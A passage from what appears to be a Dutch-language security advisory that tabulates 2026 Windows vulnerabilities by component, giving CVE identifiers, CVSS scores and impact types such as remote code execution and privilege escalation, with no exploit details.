willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| 